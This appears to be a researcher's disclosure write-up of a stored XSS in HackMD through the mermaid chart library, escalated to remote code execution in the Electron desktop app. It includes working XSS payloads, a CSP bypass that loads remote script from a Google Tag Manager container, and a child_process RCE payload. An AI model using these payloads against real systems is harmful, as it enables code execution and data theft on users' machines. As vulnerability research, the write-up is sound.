HackMD Stored XSS and HackMD Desktop RCE

It’s time to share a stored XSS case I found in HackMD. I have demonstrated it in my talk at Defcon 27 and here are more details.

The story begains from a XSS in a popular flow chart library called mermaid. We have found three diffrent type of XSS in mermaid, you can see it here.

The first one:

1
2
graph TD
B --> C{<img src=x onerror=alert('XSS')>}

The second one:

1
2
3
graph LR;
A-->B;
click B callback "<img src=x onerror=alert('XSS')>"

The third one(needs click, both nodes will work):

1
2
3
4
graph LR;
alert`md5_salt`-->B;
click alert`md5_salt` eval "Tooltip for a callback"
click B "javascript:alert`salt`" "This is a tooltip for a link"

From the three PoCs we can see, in the first two cases, html code in the node name is not escaped and can be rendered in the page, which leads to XSS. The last one is slightly different, we use a feature called interaction.

From the document we can see:

It is possible to bind a click event to a node, the click can lead to either a javascript callback or to a link which will be opened in a new browser tab.

This feature can be used as a click-XSS attack.

But the callback function must be pre-defined, which should be found in window object. The sample code is as follows.

1
window[callback](node_name)

Mermaid is widely used in markdown editors, HackMD is one.

I just copy & paste the payload but nothing happened. The payload is blocked by CSP. The CSP is as follows.

1
content-security-policy: default-src 'none'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com https://browser.sentry-cdn.com 'nonce-cdbbafd5-903e-443c-bb33-c25b0cc73e21' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

I found a write up about how to bypass HackMD’s CSP. It uses Google Tag Manager to inject custom javascript code in https://www.google-analytics.com, which is whitelisted in the HackMD’s CSP.

So, our payload can be:

1
2
graph TD
B --> C{<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQGSV3G ></script>}


or

1
2
3
graph LR;
A-->B;
click B callback "<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G ></script>"

How about the callback function one? Let’s review the vulnerable code.

1
window[callback](node_name)

We can only use the object directly in window, for example, window['document'], and window['document.write'] wouldn’t work. And we can not have some special chars such as ()[]{}\@%^|<> in the node name. Besides, in the CSP, we have unsafe-eval and no unsafe-inline.

Getting the alert box is easy.

But I want to execute arbitrary code.

I made a few tries.

1
window['eval']("location='javascript:alert`1`'")

This one violates the CSP.

1
window['eval']("atob`YWxlcnQoMSk=`")

This one can decode the base64 payload but the payload cannot execute.

1
window['import']("https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G")

This one failed because import is a statement so window['import'] == undefined.

Finally I noticed HackMD has jQuery in the context. It’s easy to import a remote javascript file using $.getScript.

1
2
3
4
graph LR;
$.getScript`https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G`-->B;
click $.getScript`https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G` eval "Tooltip for a callback"
click B "javascript:alert`2`" "This is a tooltip for a link"

Finally, I got the alert box!

Before I was going to report the issue, I found HackMD has a desktop application. Let’s turn this XSS to RCE!

HackMD Desktop uses Electron framework. It renders the web page from hackmd.io in a safe webview tag.

Let’s see the main page of the HackMD Desktop.

There is a renderer.js executed in the privileged context.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// renderer.js
let targetURL
if (window.location.search !== '') {
targetURL = window.location.search.match(/\?target=([^?]+)/)[1]
} else {
targetURL = getServerUrl()
}

document.body.innerHTML += `<webview src="${targetURL}" id="main-window" disablewebsecurity autosize="on" allowpopups allowfileaccessfromfiles></webview>`

...

/* handle _target=blank pages */
webview.addEventListener('new-window', (event) => {
ipcClient('createWindow', { url: `file://${path.join(__dirname, `index.html?target=${event.url}`)}` })
})

From the code we can see, if you create a new window, the targetURL parameter will be concatenated into the template. If we can close the double quote of the src atttibute in the webview tag and inject nodeintegration atttibute, then we can use native modules to execute any command.

This failed because the double quote is url encoded.

Quickly I noticed another piece of code.

1
2
3
4
5
6
// renderer.js
webview.addEventListener('dom-ready', function () {
// set webview title
document.querySelector('#navbar-container .title').innerHTML = webview.getTitle()
document.querySelector('title').innerHTML = webview.getTitle()
})

When the DOM in the webview tag is ready, the main page will get the webview’s title and set to the main page using innerHTML.

We can use XSS to redirect the page from hackmd.io to our evil page with payload in the page title.

1
2
3
<head>
<title><img src=1 onerror="process.mainModule.require('child_process').exec('open /Applications/Calculator.app')"></title>
</head>

And then we can see the calculator!

Responsible Disclosure

分享到 评论